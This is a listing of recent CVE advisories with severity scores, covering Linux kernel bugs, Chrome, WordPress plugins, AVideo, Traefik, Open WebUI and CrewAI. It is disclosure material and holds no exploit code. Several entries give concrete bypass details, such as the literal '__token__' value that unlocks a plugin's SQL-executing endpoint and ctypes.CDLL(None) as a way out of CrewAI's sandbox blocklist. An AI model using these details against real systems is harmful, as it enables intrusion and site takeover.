CVE-2026-89586	UNMAP bit set into an ATA DATA SET MANAGEMENT TRIM command. The TRIM descriptor is built by ata_format_dsm_trim_descr() into the 2048-byte ata_scsi_rbuf staging buffer, and the number of bytes copied is compared against the logical sector size by the caller: size = ata_format_dsm_trim_descr(scmd, trmax, block, n_block); if (size != len) /* len == sdp->sector_size */ goto invalid_param_len; ata_format_dsm_trim_descr() clamps the copy length to ATA_SCSI_RBUF_SIZE (2048). On a device whose logical sector size exceeds that (e.g. a 4Kn device, where sector_size == 4096) the function can never return more than 2048, while the caller expects it to return sector_size. The comparison therefore always fails, so every TRIM is rejected with "Parameter list length error" and WARN_ON() splats on each attempt. TRIM / discard is thus completely broken on such devices. The descriptor was incorrectly sized from the logical sector size. A DSM TRIM payload is a list of 512-byte pages, each holding up to ATA_MAX_TRIM_RNUM (64) LBA Range Entries, and is independent of the logical sector size. The Block Limits VPD page already advertises a single such page as the maximum WRITE SAME length (65535 * ATA_MAX_TRIM_RNUM logical blocks), so the block layer never sends a request that needs more than one page. Emit exactly one 512-byte page, independent of the logical sector size, and transfer only that page (COUNT == 1). For a 512-byte-sector device this is unchanged; devices with larger logical sectors now work instead of failing every TRIM.	8.2	More Details
CVE-2026-90560	zstd-jni versions 1.2.0 through 1.5.7-13 contain an out-of-bounds read vulnerability in the ZstdDictDecompress constructor because offset and length arguments are never validated against the dictionary array bounds. Attackers can supply arbitrary offset or length values to read memory past the end of the supplied array, potentially causing JVM termination.	8.2	More Details
CVE-2026-89046	zstd-jni versions 1.5.5-6 through 1.5.7-13 contain an out-of-bounds read vulnerability in Zstd.getFrameContentSize that fails to validate negative srcPosition arguments. Attackers can supply negative offset values that bypass bounds checks and reach the native frame-header parser, causing out-of-bounds memory reads that lead to information disclosure or JVM crashes.	8.2	More Details
CVE-2026-90537	WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a missing authorization vulnerability in plugin/Scheduler/sendEmail.json.php that allows unauthenticated attackers to access scheduler email jobs by providing a site-wide daily token. Attackers can enumerate scheduler jobs, read private live titles and email addresses, and trigger email sending by supplying any valid daily token obtained from Live pages.	8.2	More Details
CVE-2026-87020	An integer overflow in a specified pitch and buffer-size computation leads to a heap out-of-bounds write when Orthanc DICOM Server decodes an attacker-supplied PNG.	8.1	More Details
CVE-2026-81784	Unauthenticated PHP Object Injection in Wise Chat <= 3.4 versions.	8.1	More Details
CVE-2026-81268	IBM Langflow OSS 1.0.0 through 1.11.5 could allow a remote authenticated attacker to execute flows and obtain sensitive information due to insufficient session expiration of API keys after user deactivation.	8.1	More Details
CVE-2026-88865	AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 fails to validate restream ownership in getRestream.json.php, allowing authenticated users with canStream permission to mint tokens for arbitrary restreams. Attackers can exchange the token to retrieve other users' stream keys from getLiveKey.json.php and publish to their YouTube, Twitch, or RTMP destinations.	8.1	More Details
CVE-2026-86770	Snipe-IT before 8.7.0 fails to validate username case sensitivity during SAML authentication, allowing attackers to authenticate as different users by registering IdP accounts with accent or case variants of victim usernames. Attackers can exploit the default utf8mb4_unicode_ci database collation to bypass username matching and achieve account takeover through federated login paths including SAML, LDAP, and OAuth.	8.1	More Details
CVE-2026-65181	Insufficient authorization of Data Source tables in Impala 2.7-4.5 allows a client with privileges to upload a file to remote storage and create a table to execute arbitrary Java code. Users are recommended to upgrade to version 4.5.2, which fixes this issue.	8.1	More Details
CVE-2026-49464	NL Portal Backend Libraries provide backend components for Dutch government portals that interact with residents, customers, suppliers, and partner organizations. The `nl.nl-portal:taak` package from version 1.5.0 through 3.0.0 fails to verify ownership when processing the `submitTaakV2` GraphQL mutation, allowing an authenticated user who knows or guesses another user’s task ID to read its form data, overwrite its submitted data, and mark the task as completed. Version 3.0.1 contains a patch. As a workaround, block the `submitTaakV2` mutation at the API gateway or restrict the `/graphql` endpoint to trusted networks	8.1	More Details
CVE-2026-88863	capgo.app (npm package `capgo`) through version 12.207.1 does not compare the caller's role rank against the requested role in the validateInvite() function of supabase/functions/_backend/private/invite_new_user_to_org.ts. The POST /private/invite_new_user_to_org endpoint only requires the org.update_user_roles permission for org_super_admin invitations, so an authenticated user holding only the org.invite_user permission (e.g., an org_member) can invite an external user as org_admin or org_billing_admin. When the invited account accepts the invitation via POST /private/accept_invitation, ensureOrgMembership creates the role binding using the Supabase service-role	8.1	More Details

	key, which bypasses the prevent_role_binding_priority_escalation and check_org_user_privileges database triggers. This allows privilege escalation resulting in full administrative control over the organization's apps, channels, members, and billing. The issue is addressed by pull request #3096, which compares the inviter's rank before permitting elevated invitations.		
CVE-2026-87930	MaxSite CMS through 109.6 passes the ci_session cookie to unserialize() without class restrictions, allowing unauthenticated attackers to inject PHP objects. Attackers can forge valid session cookies using the hardcoded encryption key to trigger magic methods and corrupt application state or achieve code execution if gadget classes exist.	8.1	More Details
CVE-2026-86762	Snipe-IT before 8.7.0 does not apply the CheckUserIsActivated middleware to the `api` middleware group in app/Http/Kernel.php, and deactivating a user does not revoke that user's Passport personal access tokens. As a result, although a deactivated account is correctly refused at web login, its existing API token continues to authenticate and to grant read and write access to the REST API (assets, users, licenses, etc.) at the account's prior permission level until the token expires. A deactivated account that retains user-management permissions can re-activate itself through the API, permanently defeating the deactivation control.	8.1	More Details
CVE-2026-37008	CrewAI before fb2323b offers a Python blocklist approach that operates at the wrong level of abstraction, a different vulnerability than CVE-2026-2275. Import-time blocking of module names does not address the availability of Python's complete object graph. For example, calling ctypes.CDLL(None) loads the C library without relying in any import statements. In other words, a within-process sandbox cannot merely account for the import system and instead must account for the complete runtime of the Python interpreter.	8.1	More Details
CVE-2026-73334	Potential problem for users of the org.apache.parquet.crypto.keytools package in Apache Parquet, versions 1.12 to 1.18. This package enables users to encrypt Parquet files via an envelope encryption mechanism that wraps (encrypts) data keys via a Key Management Service (KMS). On the reader side, the KMS URL can be application-controlled or file-controlled. If the user does not leverage application control for this parameter, a file-controlled KMS URL is forwarded to a pluggable KmsClient implementation. If the pluggable implementation does not perform host validation, a KMS token can be sent to a malicious host set by an attacker in the file. Before the problem is fixed, users are recommended to leverage application control for KMS URL parameter in readers (versions 1.12-1.18). After the problem is fixed (presumably in version 1.19), the upgrade will disable file-controlled KMS URL by default. Users of the KMS URL parameter will have two options then: leverage application control for KMS URL parameter in readers, or enable file-controlled KMS URL (via a new app parameter). The latter option will explicitly require (in the new parameter documentation) to validate the KMS URL and use authentication in the custom implementation of the KMS client plug in.	8.1	More Details
CVE-2026-76009	The Next-Cart Store to WooCommerce Migration plugin for WordPress is vulnerable to Authentication Bypass in all versions up to, and including, 3.9.8 via the `NCWM_Kitconnect::run()` function. This is due to the plugin registering the `/wp-json/next_cart/v1/migration` REST route with `permission_callback` set to `__return_true` and relying on a hardcoded fallback value of `__token__` in `get_option('nextcart_token', '__token__')` when the `nextcart_token` option has not yet been written to the database. This makes it possible for unauthenticated attackers to bypass authentication to the migration endpoint by supplying the literal string `__token__` as the token, gaining access to privileged handlers that pass attacker-controlled SQL directly to `$wpdb->query()` and `$wpdb->get_results()` — enabling arbitrary SQL execution including administrator account creation — and pass an attacker-controlled path to `unlink()`, enabling arbitrary file deletion and full site takeover. The hardcoded fallback is reachable whenever the `nextcart_token` option has not yet been populated, which occurs after WP-CLI, network, or programmatic plugin activation without a subsequent authenticated `wp-admin` visit, as token generation is deferred to `admin_init` via `register_settings()`.	8.1	More Details
CVE-2026-80354	Authorization bypass through User-Controlled key vulnerability in Apache Camel K. An authorization vulnerability in custom resource resolution allows a tenant to reference secrets by name in the operator namespace, potentially exposing secrets belonging to other tenants or operator components. This issue affects Apache Camel K: from 2.0.0 before 2.9.3, from 2.10.1 before 2.10.2. Users are recommended to upgrade to version 2.9.3, 2.10.2 or 2.11.0, which fixes the issue.	8.1	More Details
CVE-2026-38058	The endpoint on the iDirect iQ200 VSAT terminal returns the complete device configuration as JSON, including the SECURITY section which contains MD5-crypt password hashes for the root SSH and web administration accounts. Any user with valid web credentials can extract these hashes and crack them offline using commodity hardware.	8.1	More Details
CVE-2026-87016	Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.6.41 until 0.11.1, get_user_by_oauth_sub and get_user_by_scim_external_id in backend/open_webui/models/users.py used JSON contains matching that compiled to SQL LIKE substring matching on SQLite. An OAuth subject containing percent or underscore wildcard characters could resolve to a different stored identity, potentially selecting an administrator account and issuing the attacker that account's session; PostgreSQL deployments were not affected. This issue is fixed in version 0.11.1.	8.1	More Details
	The UsersWP plugin for WordPress is vulnerable to Arbitrary File Deletion in versions up to, and including, 1.2.70 via the upload_file_remove() AJAX handler. The plugin stores the value of an account 'file' form field taken directly from $_POST when no real $_FILES upload is provided (process_account() calls uwp_validate_fields() and array_merges the result with the empty output of		

CVE-2026-19991	UsersWP_Files::validate_uploads()). At storage time the value is only checked with validate_file(), which passes any string that does not contain a literal '../'. When the value is later processed by upload_file_remove(), it is again gated with validate_file() and then normalized through uwp_get_file_relative_url(); that helper performs a global str_replace() of the uploads base URL against the stored URL, allowing a crafted URL containing embedded '..<uploads-baseurl>' tokens to collapse into '../../' traversal sequences after the last validation. The transformed value is then appended to the uploads base directory and passed to wp_delete_file() without any canonical containment check. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary files on the affected site's server (including wp-config.	8.1	More Details
CVE-2026-84099	The wpstorecart WordPress plugin through 5.0.7 does not prevent direct, unauthenticated access to a bundled add-on that deserializes user-supplied input without restricting the permitted classes, allowing unauthenticated attackers to inject arbitrary PHP objects, which may be escalated further when a suitable gadget chain is present on the site.	8.1	More Details
CVE-2026-90768	CAPEv2 through commit 471ee4b fails to validate task ownership in REST API endpoints, allowing authenticated users to read and delete analyses submitted by other users. Attackers can enumerate all tasks in the system and delete arbitrary analyses by sending requests to task view and delete endpoints without ownership verification.	8.1	More Details
CVE-2026-89243	WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a stored cross-site scripting vulnerability in UserGroups::setGroup_name() that fails to sanitize group_name input. Administrators with canAdminUserGroups permission can inject malicious HTML and JavaScript that executes in the browser when other administrators access the user manager interface.	8.1	More Details
CVE-2026-87958	IBM Db2 11.5.0 through 11.5.9, and 12.1.0 through 12.1.5 is vulnerable to a denial of service where a specific functionality on a Db2 server can be disabled by a privileged user under certain conditions.	8.1	More Details
CVE-2026-88011	Traefik is an open source HTTP reverse proxy and load balancer. Prior to 2.11.56, and from 3.0.0 until 3.7.12, a client-supplied dot-form header such as X.Authenticated.User survives ForwardAuth replacement and underscoreHeadersStrategy because Go treats it as distinct from X-Authenticated-User while normalization-prone CGI, WSGI, PHP, and NGINX backends collapse both names. A backend can consequently consume the client value instead of the identity Traefik asserted, allowing identity spoofing for any header managed by Traefik. The aliasHeadersStrategy protection is disabled by default and must be configured as delete or reject. The mitigation is available in 2.11.56 and 3.7.12.	8.1	More Details
CVE-2026-18147	A flaw was found in FreeIPA. An unauthenticated remote attacker could exploit a DOM Cross-Site Scripting (XSS) vulnerability in the FreeIPA/IdM Web UI password reset page. By enticing a victim to click a specially crafted link and complete a password reset, the attacker could inject and execute arbitrary JavaScript code. This allows the attacker to perform actions within the victim's authenticated session, potentially leading to full administrative control if an IdM administrator is targeted.	8.1	More Details
CVE-2026-88031	Improper neutralization of special elements in data query logic in the GridFS component of the MongoDB Go Driver can cause a caller-supplied structured file identifier to be interpreted as a query condition rather than as a literal identifier. An authenticated user who can influence the identifier passed by an affected application may cause all GridFS file chunks in the affected bucket to be removed, rendering stored file content unreadable.	8.1	More Details
CVE-2026-4129	There is an improper access control vulnerability in NI SystemLink that may allow an authenticated user with limited privileges to access host operating system files and directories that should be restricted. This vulnerability affects NI SystemLink and NI SystemLink Server 2026 Q3 and prior versions.	8.1	More Details
CVE-2026-71809	Authentication Bypass via Hardcoded Master Verification Code vulnerability in Siam Ordering (siam-server) 1.0.0 allows remote unauthenticated attackers to log in as any user, merchant, or administrator.	8.1	More Details
CVE-2026-90651	Socket Firewall (socketdev/socket-registry-firewall) in registry mode before 2.0.0 does not verify upstream TLS certificates by default. When the api_ssl_verify and upstream_ssl_verify configuration keys are omitted from socket.yml, the generated configuration sets SOCKET_API_SSL_VERIFY='false' and UPSTREAM_SSL_VERIFY='false', and the OpenResty/Lua HTTP client used for outbound requests accepts any certificate, including self-signed and otherwise untrusted certificates, without validating the chain. An attacker positioned to intercept traffic between Socket Firewall and the Socket API or an upstream package registry can present a crafted certificate and modify responses in transit, including substituting malicious package content or altering the allow/block decisions the firewall enforces. Setting api_ssl_verify: true and upstream_ssl_verify: true enables verification; however, in versions before 1.1.334, the generated nginx configuration did not emit lua_ssl_trusted_certificate, and thus verification could not be used successfully without manually patching the generated configuration. Version 2.0.0 changes the default for both settings to true.	8.1	More Details
CVE-2026-	Unauthenticated Privilege Escalation in SiteSkite <= 2.1.5 versions.	8.1	More

81805			Details
CVE-2026-81801	Subscriber Settings Change in WP-Stateless <= 4.4.1 versions.	8.1	More Details
CVE-2026-82925	The Site Reviews WordPress plugin before 8.3.0 does not prevent request data from being deserialized, and derives the key protecting that data by padding out the site's WordPress nonce key, which makes the key publicly computable on installs where that key is absent, left at its sample value, or too short to be secret. This allows unauthenticated users to inject arbitrary PHP objects on such installs. The Site Reviews WordPress plugin before 8.3.0's own code contains no chain onward from the injected object, so how far it reaches depends on the other code present on the site.	8.1	More Details
CVE-2026-90562	LangBot before 4.10.11 generates password recovery keys with only 24 bits of entropy and applies no rate limiting to the unauthenticated reset-password endpoint. Remote attackers knowing the administrator email can exhaust the keyspace through concurrent requests to reset the admin password and gain account access.	8.1	More Details
CVE-2026-87874	A flaw was found in the memcached cache plugin of the community.general Ansible collection. Although its documentation states that records are stored in JSON format, the plugin performs no explicit serialization and relies on python-memcached, which pickles values on write and unpickles them on read. Because memcached is unauthenticated and cache keys are predictable, an attacker able to reach a network-exposed or shared memcached instance can write a crafted pickle payload that is deserialized and executed on the Ansible controller when the poisoned fact cache is next read, leading to remote code execution.	8.1	More Details
CVE-2026-87075	Tanium addressed an improper access controls vulnerability in Comply.	8.1	More Details
CVE-2026-87509	Incorrect authorization in Updater in Google Chrome on on Windows prior to 153.0.8010.36 allowed a local attacker to execute arbitrary code outside the sandbox via a local program. (Chromium security severity: Low)	8.1	More Details
CVE-2026-89709	In the Linux kernel, the following vulnerability has been resolved: lockd, nfsd: RCU-protect nlmsvc_ops dispatch nlmsvc_ops is published by nfsd_lockd_init() and cleared by nfsd_lockd_shutdown() with plain stores, while lockd dereferences it unguarded from dispatch sites in fs/lockd/svcsubs.c. The pointer targets nfsd's .rodata and the fopen/fclose callbacks live in nfsd's .text, so a stale load after rmmod nfsd results in either a NULL deref or a module-text use-after-free. Declare nlmsvc_ops as __rcu, publish via rcu_assign_pointer(), clear via RCU_INIT_POINTER() + synchronize_rcu(). Add a struct module *owner field to nlmsvc_binding and pin the module across indirect calls with try_module_get/module_put. When the binding is torn down, fall back to fput() to avoid leaking struct file references.	8.1	More Details
CVE-2026-87471	Incorrect authorization in ServiceWorker in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted HTML page. (Chromium security severity: Medium)	8.1	More Details
CVE-2026-87499	Incorrect authorization in Network in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted HTML page. (Chromium security severity: High)	8.1	More Details
CVE-2026-89524	In the Linux kernel, the following vulnerability has been resolved: wifi: ath6kl: clamp assoc request/response lengths before subtracting IE offsets ath6kl_cfg80211_connect_event() subtracts fixed IE offsets from assoc_req_len (-= 4) and assoc_resp_len (-= 6), both u8, with no lower bound. The aggregate check recently added to ath6kl_wmi_connect_event_rx() bounds the declared lengths from above (their sum must fit the received event), but an assoc request/response shorter than its fixed offset still underflows here: the u8 wraps to ~250, and cfg80211_connect_result() / cfg80211_roamed() then treat that wrapped value as the IE length and copy that many bytes out of the small assoc_info buffer to user space via nl80211, disclosing adjacent slab memory. Clamp both lengths to their offsets before subtracting. Found by 0sec (https://0sec.ai) using automated source analysis; the missing lower bound is evident from source. Compile-tested.	8.1	More Details
CVE-2026-87467	Race condition in Updater in Google Chrome on on Windows prior to 153.0.8010.36 allowed a local attacker to potentially execute arbitrary code outside the sandbox via a local program. (Chromium security severity: High)	8.1	More Details
CVE-2026-89583	In the Linux kernel, the following vulnerability has been resolved: Bluetooth: eir: Fix OOB read in eir_get_service_data() eir_get_service_data() walks the advertising data for a Service Data field with a matching UUID. On a mismatch it advances: eir += dlen; eir_len -= dlen; eir_get_data() reports dlen as the field's data length, but the field spans dlen + 2 bytes once its length and type bytes count, and more when non-Service-Data fields were skipped to reach it. The pointer lands correctly on the next field. eir_len does not, and the shortfall compounds across fields until eir_get_data() reads the length and type bytes of a "field" past the end of the buffer. For an ISO broadcast sink that buffer is hcon->le_per_adv_data[], filled from the	8.1	More Details

	periodic advertising reports of a remote broadcaster. A PA payload packed with mismatching Service Data fields walks off the array into the rest of struct hci_conn. A drifted field that matches the BAA UUID puts those bytes in iso_pi(sk)->base, where user space reads them back with getsockopt(BT_ISO_BASE). Recompute eir_len from the end of the buffer each iteration.		
CVE-2026-87505	Incorrect authorization in FileSystem in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted PDF file. (Chromium security severity: Medium)	8.1	More Details
CVE-2026-89535	In the Linux kernel, the following vulnerability has been resolved: svcrdma: Reorder rpcrdma_rn_unregister before rdma_destroy_id svc_rdma_free() caches rdma->sc_cm_id->device before teardown, then calls rdma_destroy_id(sc_cm_id) which frees the cm_id. rpcrdma_rn_unregister() follows, but between those two calls the transport's sc_rn entry is still installed in the device's rd_xa. A concurrent ib_unregister_device walk can dispatch svc_rdma_xprt_done() against the now-freed sc_cm_id. Move rpcrdma_rn_unregister() before rdma_destroy_id() so the transport's notification entry is removed from the xarray before the cm_id it references is destroyed. Also guard the sc_cm_id dereference with a NULL check: the following patches introduce paths that reach svc_rdma_free() with sc_cm_id == NULL (listener create failure, ADDR_CHANGE replacement failure).	8.1	More Details
CVE-2026-87457	Race condition in Updater in Google Chrome on on Windows prior to 153.0.8010.36 allowed a local attacker to execute arbitrary code outside the sandbox via a local program. (Chromium security severity: Medium)	8.1	More Details
CVE-2026-89667	In the Linux kernel, the following vulnerability has been resolved: nfsd: close shrinker/GC/fsnotify vs per-net shutdown race in filecache The shrinker, GC worker, and fsnotify/lease callbacks can unhash an nfsd_file from the rhashtable and then call nfsd_file_dispose_list_delayed() to move it to the per-net dispose list. If nfsd_file_cache_shutdown_net() runs concurrently, its rhashtable walk misses the already-unhashed file, and its drain of the per-net dispose list can run before the file has been queued. The file then sits on the per-net list with no thread to drain it, leaking both the file and its associated state. The GC worker and shrinker already hold nfsd_gc_lock while walking the LRU, but in the original code they release it before calling nfsd_file_dispose_list_delayed(). The fsnotify/lease path (nfsd_file_close_inode) has no synchronization at all. Fix this by: 1. Widening nfsd_gc_lock in both nfsd_file_gc() and nfsd_file_lru_scan() to cover the nfsd_file_dispose_list_delayed() call. 2. Wrapping nfsd_file_close_inode() in nfsd_gc_lock so that all three callers of nfsd_file_dispose_list_delayed() hold the lock. 3. Adding a spin_lock/unlock(nfsd_gc_lock) barrier in nfsd_file_cache_shutdown_net() after the purge, so that any in-progress disposal has fully completed before the per-net list is drained. All operations inside the lock are non-sleeping (rhashtable lookups, atomic bit/refcount ops, list moves, svc_wake_up), so the spinlock is appropriate.	8.1	More Details
CVE-2026-87554	Race condition in Chromoting in Google Chrome on on Windows prior to 153.0.8010.36 allowed a local attacker to execute arbitrary code outside the sandbox via a local program. (Chromium security severity: High)	8.1	More Details
CVE-2026-89547	In the Linux kernel, the following vulnerability has been resolved: SUNRPC: Check svc pool percpu counter allocation __svc_create() initializes three per-pool percpu_counter stats and ignores every return value. On SMP, percpu_counter_init() fails when __alloc_percpu_gfp() cannot satisfy the allocation, leaving the failed counter with fbc->counters == NULL and its embedded raw_spinlock_t, list_head, and count never initialized. __svc_create() returns the half-constructed svc_serv to nfsd, lockd, or the NFS callback service anyway. Once that service is live, the hot-path increments in svc_xprt_enqueue(), svc_handle_xprt(), and svc_pool_wake_idle_thread() reach a counter whose backing pointer is NULL. The pointer is a per-cpu offset, so the access does not fault: it resolves to offset zero of the current CPU's per-cpu area and silently corrupts whatever variable lives there. A /proc/fs/nfsd/pool_stats read walks the same NULL per-cpu storage and returns garbage, and on CONFIG_DEBUG_SPINLOCK or lockdep it splats on the never-initialized lock. Creating the broken service requires a percpu allocation failure during RPC server startup, so it is reachable only by a local administrator under memory pressure or fault injection; a remote peer cannot induce the bad state on its own. Check each percpu_counter_init() return value in __svc_create() and fail when an allocation fails, unwinding the counters already set up in the current pool and in every pool initialized before it. A discrete percpu_counter_destroy() per counter at teardown frees each per-cpu allocation exactly once.	8.1	More Details
CVE-2026-89682	In the Linux kernel, the following vulnerability has been resolved: nfsd: fix fcache_disposal UAF by inlining dispose state into nfsd_net nfsd_file_dispose_list_delayed() defers fput() to nfsd service threads via a per-net freeme queue, preventing the shrinker and GC worker from bearing the cost of closing files (see ffb402596147). However, the queue lives in a separately-allocated struct nfsd_fcache_disposal that is freed by nfsd_free_fcache_disposal_net() during per-net teardown. The global shrinker, laundrette, and fsnotify callbacks can still be inside nfsd_file_dispose_list_delayed() dereferencing that pointer, causing a use-after-free. Inline the spinlock and freeme list directly into struct nfsd_net (as fcache_dispose_lock and fcache_dispose_list), eliminating the separately allocated struct nfsd_fcache_disposal entirely. These fields now have the same lifetime as the net namespace itself, so there is no dangling pointer to chase. nfsd_file_cache_start_net() now just initializes the inline fields and cannot fail due to allocation. nfsd_file_cache_shutdown_net() drains the inline list directly instead of freeing a separate struct. The alloc/free helpers are removed.	8.1	More Details

CVE-2026-87514	Use after free in Views in Google Chrome prior to 153.0.8010.36 allowed a local attacker to execute arbitrary code outside the sandbox via a local program. (Chromium security severity: High)	8.1	More Details
CVE-2026-87606	Missing authorization in SiteIsolation in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted HTML page. (Chromium security severity: Medium)	8.1	More Details
CVE-2026-87036	Tanium addressed an improper access controls vulnerability in Comply.	8.1	More Details
CVE-2026-87533	Use after free in DevTools in Google Chrome prior to 153.0.8010.36 allowed a local attacker to execute arbitrary code outside the sandbox via a local program. (Chromium security severity: Medium)	8.1	More Details
CVE-2026-87530	Uncontrolled search path element in CredentialProvider in Google Chrome on on Windows prior to 153.0.8010.36 allowed a local attacker to execute arbitrary code outside the sandbox via a local program. (Chromium security severity: Medium)	8.1	More Details
CVE-2026-87537	Missing authorization in Extensions in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via crafted network traffic. (Chromium security severity: Medium)	8.1	More Details
CVE-2026-81003	In the Linux kernel, the following vulnerability has been resolved: net/iucv: filter frames in afiucv_hs_rcv() by ingress device afiucv_hs_rcv() selects a socket from iucv_sk_list by matching four 8-byte name fields in the transport header alone. No check is made against the net_device the frame arrived on. This can cause a frame arriving on any netdev to be delivered to an AF_IUCV socket. Three problems follow. First, a frame arriving over HiperSockets can be delivered to a socket bound to the classic z/VM IUCV transport, which has iucv->hs_dev == NULL. iucv_sock_bind() takes the classic path whenever the requested userid matches iucv_userid, even on a guest that also has a HiperSockets device carrying the same identifier. The child socket created by afiucv_hs_callback_syn() for such a match inherits hs_dev = NULL and transport = AF_IUCV_TRANS_HIPER, so the first send() on it returns -ENODEV. The socket delivered to accept() is unusable. Second, a frame arriving on one netdev can be delivered to a socket bound to a different IQD device. Which can lead to - Accept-queue exhaustion (DoS) - Attacker-controlled peer identity in the child socket - Data injection into existing sockets - Fabric noise on the IQD fabric, where bogus replies are sent - killing established connections Third, all AF_IUCV sockets live in init_net, as iucv_sock_alloc() calls sk_alloc(&init_net, ...). But even frames arriving on netdev devices in a namespace can be delivered to an IUCV socket. So a process in an unprivileged user and network namespace holding only the CAP_NET_RAW capability valid within that namespace can send a raw ETH_P_AF_IUCV frame on its own lo device and have it matched against init_net sockets. Fix all three by skipping any socket whose hs_dev does not match the ingress device. A classic z/VM IUCV socket has hs_dev == NULL; the ingress dev is never NULL, so classic sockets are skipped automatically. An unbound HIPER socket also has hs_dev == NULL and is skipped. A bound HIPER socket is only reachable from the exact IQD device it was bound to. Because hs_dev is always a device in init_net (iucv_sock_bind() scans for_each_netdev_rcu(&init_net, ...) exclusively), a frame whose ingress device belongs to another namespace never matches any socket. Note that AF_IUCV over HiperSockets provides no per-connection authentication: no sequence numbers, no TLS, no nonce. The four name fields identifying a connection are exchanged in plaintext on the shared HiperSockets segment (VCHID). Any host on the same HiperSockets segment could spoof any frame type against an existing connection. That is a protocol-level property unchanged by this patch. The fix reduces the attack surface to peers present on the same HiperSockets segment.	8.1	More Details
CVE-2026-14873	The Bulk Password Reset plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 1.3.3. This is due to the plugin not properly validating a user's identity prior to updating their details like arbitrary user passwords, including administrator passwords, to a known plugin-configured custom value, enabling full account takeover of the site. This makes it possible for authenticated attackers, with subscriber-level access and above, to change arbitrary user's email addresses, including administrators, and leverage that to reset the user's password and gain access to their account.	8.0	More Details
CVE-2026-42807	A heap-based buffer overflow vulnerability in the PC bridge protocol decoder of BoschSensortec COINES_SDK (versions 2.10 through 2.12.2) allows attackers to cause a denial of service (process crash) or potentially execute arbitrary code. The bridge decoder ({{bridge_decoder.c}}) trusts the packet length field provided by the external device and forwards it to the host response queue ({{mqueue_add_data}}) without validating the bounds of the destination buffer. A malicious or compromised USB or Bluetooth Low Energy (BLE) peripheral can advertise a payload size up to ~3 KB, which exceeds the default queue slot size of 255 bytes. This results in an unbounded heap overwrite ({{memcpy}}), corrupting adjacent heap metadata on the host system when processing the device's response.	8.0	More Details
CVE-2026-87888	The YayPricing WordPress plugin before 3.5.7 does not perform an authorization check on a REST route that saves its pricing rules, allowing users with the subscriber role and above to store JavaScript that executes in the browser of an administrator who opens the YayPricing WordPress plugin before 3.5.7's settings page.	8.0	More Details

CVE-2026-77974	After spoofing the device and obtaining one user confirmation, an attacker may be able to cause the application to transmit firmware through an unauthenticated and unsigned update channel.	8.0	More Details
CVE-2026-89486	In the Linux kernel, the following vulnerability has been resolved: ipmi: Fix use-after-free of cmd_rcvr in _ipmi_destroy_user() Commit 9e91f8a6c868 ("ipmi:msghandler: Remove srcu for the ipmi_interfaces list") dropped the synchronize_rcu() between unlinking the command receivers from intf->cmd_rcvrs and freeing them, updating only the comment that explains why the barrier is needed. The cmd_rcvrs list is still traversed under plain RCU: find_cmd_rcvr() walks it inside rcu_read_lock(), and handle_ipmb_get_msg_cmd() borrows rcvr->user from that lookup within the same read-side section. Without the grace period, _ipmi_destroy_user() can kfree() a cmd_rcvr while a reader still holds a pointer to it, causing a use-after-free. The rework only made srcu unnecessary for the interfaces list; the cmd_rcvrs list still relies on plain RCU. Restore the synchronize_rcu() before freeing the receivers.	7.8	More Details
CVE-2026-88052	Tesseract is an open source OCR engine. In version 5.5.3 and earlier, UNICHARSET::load_via_fgets in src/ccutil/unicharset.cpp trusts the declared unichar count as a loop bound and uses id as an unchecked index into the unichars vector. unichar_insert_backwards_compatible can leave the vector unchanged for an empty, duplicate, or already-encodable representation, causing id to become larger than unichars.size(). Subsequent set_* calls and the write to unichars[id].properties.enabled then write UNICHAR_PROPERTIES beyond the vector during initialization in both the default LSTM and legacy engines, causing heap corruption, a crash, or potentially controlled corruption. No fixed release is available as of this review.	7.8	More Details
CVE-2026-90783	MKVToolNix through 101.0 contains a heap buffer overflow in the bundled avilib library's ODML superindex parser due to integer wraparound in 32-bit arithmetic. Attackers can craft a malicious AVI file with oversized entry counts that cause an undersized heap allocation, allowing a heap buffer overflow when the file is parsed with mkvmerge.	7.8	More Details
CVE-2026-89620	In the Linux kernel, the following vulnerability has been resolved: HID: intel-thc-hid: intel-quickspi: validate report size before copy write_cmd_to_txdma() builds an output report in qsdev->report_buf, a heap buffer allocated in quickspi_alloc_report_buf() to the device-descriptor derived max_report_len (a few hundred bytes for a touch controller). It copies the caller-supplied report into that buffer: memcpy(write_buf->content, report_buf, report_buf_len); The HID core caps a report at HID_MAX_BUFFER_SIZE (16384) by default, and quickspi_hid_ll_driver does not set max_buffer_size, so the length reaches the driver unbounded. A hidraw SET_REPORT/SET_FEATURE ioctl carrying a report larger than max_report_len therefore overflows report_buf with attacker-controlled length and content. Record the report_buf allocation size and reject reports that do not fit before copying, matching the equivalent guard in the intel-quicki2c sibling (quicki2c_init_write_buf()) and the hid-goodix-spi fix. write_cmd_to_txdma() writes the output report header ahead of the content in the same buffer, so size the allocation to cover the header as well. That keeps the added bound from rejecting a maximum-sized report.	7.8	More Details
CVE-2026-89617	In the Linux kernel, the following vulnerability has been resolved: fs/ntfs3: validate dirty page table on log replay Each DIR_PAGE_ENTRY ends in a page_lcns[] array whose length is the on-disk lcns_follow field. check_rstbl() validates the table bookkeeping but never checks that this array fits in the entry, so a crafted lcns_follow lets the v0->v1 conversion memmove and later replay passes run off the entry. Add check_dp_table() to reject, right after check_rstbl(), any entry larger than its size claims via struct_size() (the same expression used to allocate these entries, so the check is overflow-safe by construction). All consumers can then trust lcns_follow as the real capacity. This covers every page_lcns[] access whose index is bounded by the entry itself (the conversion memmove, the HotFix store via find_dp(), and the self-bounded scan loops). Accesses whose index comes from the log record need a separate bound and are handled in a follow-up patch.	7.8	More Details
